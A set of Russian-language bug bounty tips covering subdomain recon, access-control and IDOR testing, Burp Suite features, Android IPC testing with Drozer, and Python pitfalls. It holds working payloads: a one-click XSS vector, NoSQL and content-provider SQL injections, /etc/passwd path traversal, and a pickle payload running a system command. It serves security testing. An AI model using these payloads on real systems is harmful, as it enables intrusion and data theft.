Standoff Bug Bounty Tips

Почему wildcard DNS ломает разведку поддоменов 🚨

Если ты собираешь поддомены и видишь тысячи хостов — есть шанс, что это не находка, а wildcard DNS.

Wildcard DNS (*.example.com) отвечает на любой запрос к несуществующему поддомену.

Собрали краткую методологию, чтобы не тратить время впустую:

генерация → DNS → проверка wildcard → HTTP → кластеризация → анализ «выбросов»

1️⃣ Генерация + DNS-резолв

Не ограничивайся стандартными словарями. Используй мутации (dev → dev-api, api-v2 и т.д.), OSINT (старые DNS-записи, сертификаты, архивы), брутфорс по шаблонам.

Цель — получить максимум кандидатов.

✔️ Проверяй случайные домены → выявляй wildcard
✔️ Фиксируй IP / CNAME / повторяющиеся ответы

2️⃣ Первичная фильтрация

Часть шума можно убрать на уровне DNS: одинаковые IP, одинаковые CNAME.

Но этого недостаточно: реальные хосты могут делить IP с wildcard, CDN усложняют анализ.

При сомнениях переходи к анализу HTTP-ответов.

3️⃣ Анализ HTTP-ответов

Для резолвящихся хостов собери:
🔵 статус-код
🔵 тело ответа
🔵 заголовки
🔵 размер
🔵 title

4️⃣ Кластеризация результатов и анализ «выбросов»

Сгруппируй результаты по:
🔵 IP / CNAME
🔵 IP + статус
🔵 хешу тела
🔵 структуре ответа
🔵 title
🔵 fingerprint (IP + статус + размер + title)

Дальше:
🔵 массовые одинаковые ответы → игнор
🔵 редкие/уникальные → приоритет

Именно «выбросы» чаще всего ведут к реальным сервисам и точкам входа.

Broken Access Control: с чего начинать охоту 🔓

BAC — это зачастую не про сложные эксплойты. Это про логику и внимательность. Разберемся, с чего вообще начинать ⬇️

1️⃣ Разведка модели авторизации

Прежде чем кидаться менять ID в запросах — разберись, как работает авторизация на таргете. RBAC? Мультитенант? Обычная модель «юзер-админ»?

Это определяет стратегию тестирования.

2️⃣ Тестовые аккаунты

Минимум — два обычных аккаунта (User A и User B). Если RBAC — по аккаунту на каждую роль. Мультитенант? Регистрируй аккаунты в разных организациях/тенантах.

3️⃣ Маппинг

Прогоняй приложение через Burp/Caido под каждым аккаунтом. Лови каждый эндпоинт и роут. Выделяй контролируемые параметры: userId, orderId, accountId, UUID и т. д.

4️⃣ Атака

Берешь токен/куки User B и пробуешь дёрнуть ресурсы User A. Чекни админские эндпоинты из-под обычного юзера.

Не забывай про менее очевидные места — массовые операции, экспорт данных, вебхуки, GraphQL-запросы с вложенными объектами. Там часто забывают про проверки 🤔

P. S. Autorize — расширение для Burp, которое автоматизирует поиск BAC:

— перехватывает запросы привилегированного юзера,
— повторяет их с менее привилегированными аккаунтами,
— сравнивает ответы и находит байпасы.

Материалы и лабы по теме:
🧡 Access control vulnerabilities and privilege escalation
🧡 Testing access controls with Burp Suite
🧡 Начинаем в багбаунти: доступно об уязвимостях типа Broken Access Control

В Chrome при нажатии на значок очистки (иконка ❌ для быстрой очистки поля) в <input type="search"> запускаются события onsearch и oninput 🔍

Если стилизовать элемент так, чтобы эта иконка покрывала нужную целевую область, на выходе получишь надёжный 1-click вектор эксплуатации XSS ⤵️

<h1>Click here</h1>

<input type=search value=x onsearch=alert('onsearch') oninput=alert('oninput') style=position:fixed;left:50%;top:50%;padding:0;width:10px;z-index:99;transform:scale(9999);opacity:0>

Second-Order (Stored) IDOR: заметки для багхантера 💡

Обычный IDOR срабатывает сразу: ты меняешь условный user_id=1 на user_id=2 в запросе — и сервер мгновенно отдаёт данные второго юзера. Second-order IDOR работает иначе — с «задержкой».

Как это выглядит ⤵️

Ты подсовываешь тот же айдишник жертвы в одном месте,
а доступ к данным происходит позже — через другой эндпоинт или фоновую джобу.

➡️ В момент инъекции всё выглядит легитимно
➡️ Эксплуатация происходит совсем в другом контексте

Атака — это всегда два шага:

1⃣ Seed (сохранение): инжектишь ID жертвы в безобидное поле: профиль, настройки, связанный ресурс. Сервер проверяет сессию и спокойно сохраняет данные.

2⃣ Trigger (исполнение): позже происходит асинхронное действие. Система берёт сохранённый ID из базы, слепо ему доверяет и выполняет операцию.

Почему такие баги часто дают высокий импакт:

⚫️ Сканеры почти не находят такие баги — здесь нужно понимать состояние приложения, бизнес-логику и отложенное выполнение
⚫️ Разработчики часто защищают только публичные API
⚫️ Внутренние джобы (генерация PDF, отправка писем и т.д.) считаются «безопасными»
⚫️ Проверки прав доступа на втором этапе просто отсутствуют

Где искать ⏳

Ищи функционал приложения с асинхронной обработкой:

⚫️ Экспорты и отчёты: меняй ID аккаунта → запрашивай CSV/PDF → через время получай данные жертвы
⚫️ Webhooks и интеграции: подменяй ID workspace → при синхронизации (Slack, Jira) получай чужие данные
⚫️ Автоматические саппорт-боты: вставляй ID заказа жертвы → бот подтягивает детали из базы и показывает чужие данные

Что нужно ❓

1⃣ Две учетки: атакующий (User A) и жертва (User B)

2⃣ Терпение: ввел данные → подождал выполнение задачи → проверил результат (почта, webhook и т.д.) → повторил

8 недооценённых фич Burp Suite, которые экономят часы тестирования ⚡️

Большинство багхантеров ограничиваются использованием Proxy (Interceptor), Repeater и Intruder 🥔

Но есть функции, которые реально ускоряют работу и помогают находить больше багов:

1️⃣ Macros → автоматизация рутины (полезно, когда токен меняется на каждый запрос)

2️⃣ Match & Replace → автоматическая подмена данных в запросах/ответах

3️⃣ Logger → продвинутый логгер поверх HTTP history (быстрый поиск аномалий)

4️⃣ Comparer → сравнение запросов и ответов

5️⃣ Find scripts → сбор всех JS-файлов и скрытых API

6️⃣ Send group in parallel → отправка запросов одновременно (особенно полезно при тестировании race condition)

7️⃣ Remove JS validation → обход фронтенд-валидации форм

8️⃣ Unhide hidden inputs → поиск скрытых параметров

Эксплуатация NoSQLi с помощью массивов параметров 💨

Если приложение не принимает JSON и работает только с application/x-www-form-urlencoded, это не защита от NoSQL-инъекций.

Многие серверные либы автоматически преобразуют параметры вида:

username[$ne]=1

в объект:

{ username: { $ne: 1 } }

Таким образом, можно передавать NoSQL-операторы через обычные параметры формы 🔥

Ключевое:
➡️ Парсер на сервере преобразует массивы в объекты
➡️ Ограничение по Content-Type не спасает от инъекции
➡️ NoSQL-операторы можно внедрять без JSON

Разведка Android-приложений: Drozer и анализ версий 📱

Статический анализ — только половина работы. Многие баги проявляются только во время выполнения приложения или появляются между версиями.

Лови несколько кейсов, которые часто находят то, что пропускают стандартные тулзы 🔽

1️⃣ Runtime-тестирование IPC через Drozer

Drozer позволяет напрямую взаимодействовать с компонентами Android-приложения: activities, services, broadcast, receivers, content providers.

После установки можно быстро проверить реальную поверхность атаки:

run app.package.attacksurface com.target.app

Дальше — интереснее. Например, можно попробовать запустить экспортированную дебаг activity:

run app.activity.start --component com.target.app com.target.app.DebugActivity

Такие activity иногда обходят авторизацию, раскрывают внутренние данные, дают доступ к скрытым фичам приложения.

2️⃣ Content provider → SQL-инъекция

Content providers часто работают как база данных между приложениями. Если provider экспортирован, можно потестить пэйлоад для SQLi:

run app.provider.query content://com.target.app.provider/users --projection "* FROM users; --"

3️⃣ Broadcast injection

Некоторые приложения слушают системные broadcast-события. Если действие не защищено, его может вызвать любое приложение:

run app.broadcast.send --action com.target.app.PRIVILEGED_ACTION --extra string key value

Так иногда удаётся триггерить фичи, которые разработчики считали внутренними.

4️⃣ Сравнение версий для анализа регрессий безопасности

Когда разработчики исправляют уязвимость, они часто закрывают конкретный кейс, а не весь класс проблемы.

Поэтому сравнение версий может показать:
✅ какие проверки добавили,
✅ какие дебаг фичи удалили,
✅ какие API появились.

Быстрый способ посмотреть изменения:

apktool d target_v1.0.apk -o v1
apktool d target_v1.1.apk -o v2
diff -r v1/ v2/

💡 Иногда разработчики случайно выкатывают дебаг фичи в прод, а в следующем релизе убирают их. Этот короткий промежуток между версиями — отличная возможность протестить функциональность, пока она существует.

Посты по теме:
🔗 Первичный анализ любого APK-файла: советы багхантеру
🔗 Упрощаем обработку приложений APK / XAPK / APKM / DEX / JAR / WAR с помощью BFScan
🔗 Реверс приложений на Flutter

Подводные камни Python: как ошибки разработчиков превращаются в уязвимости 🐍

Разработчики часто предполагают, что встроенные фичи автоматически выполняют очистку или обеспечивают безопасное поведение.

На практике многие из этих фич содержат нестандартные модели поведения, которыми можно злоупотреблять, превращая логические проблемы в уязвимости:

⚫️ os.path.join (built-in): если один из аргументов начинается с /, Python игнорирует предыдущие сегменты пути

import os
payload = "/etc/passwd"

file = os.path.join("/user/uploads/", payload)

with open(file, "r") as f:
   print(f.read()) 
# выведет содержимое “/etc/passwd”

⚫️ pathlib.joinpath (built-in): если какой-либо сегмент является абсолютным путём, он отбрасывает предыдущие части и продолжает работу с абсолютным путём

from pathlib import Path
payload = "/etc/passwd"

file = Path("/var/www/html").joinpath("files", payload)

with open(file, "r") as f:
   print(f.read()) 
# выведет содержимое “/etc/passwd”

⚫️ pickle.loads (built-in): pickle.loads() может выполнять произвольные объекты Python

import pickle, base64
payload = "gASVHQAAAAAAAACMBXBvc2l4lIwGc3lzdGVtlJOUjAJpZJSFlFKULg=="

# Выполнить код при десериализации  (системная команда ”id”)
file = pickle.loads(base64.b64decode(payload))

⚫️ urllib.parse.urljoin (built-in): формирует итоговый URL, объединяя базовый URL с одним или несколькими компонентами URL

from urllib.parse import urljoin

payload = "http://evil.com/"
print(urljoin("http://example.com/", payload)) 
# вывод: http://evil.com/

⚫️ Функция load библиотеки PyYAML (внешняя либа): yaml.load() может выполнять произвольный Python-код, если ты контролируешь YAML

import yaml
user_data = "!!python/object/apply:print ['pwned']"

result = yaml.load(user_data, Loader=yaml.Loader)

⚫️ Python3 class pollution (built-in): некорректное присвоение атрибутов может позволить изменять структуру классов или объектов

Пост вдохновлен докладом Алекса Брумена "Python Pitfalls: Turning Developer Mistakes into Vulnerabilities" (текстовая версия) 💡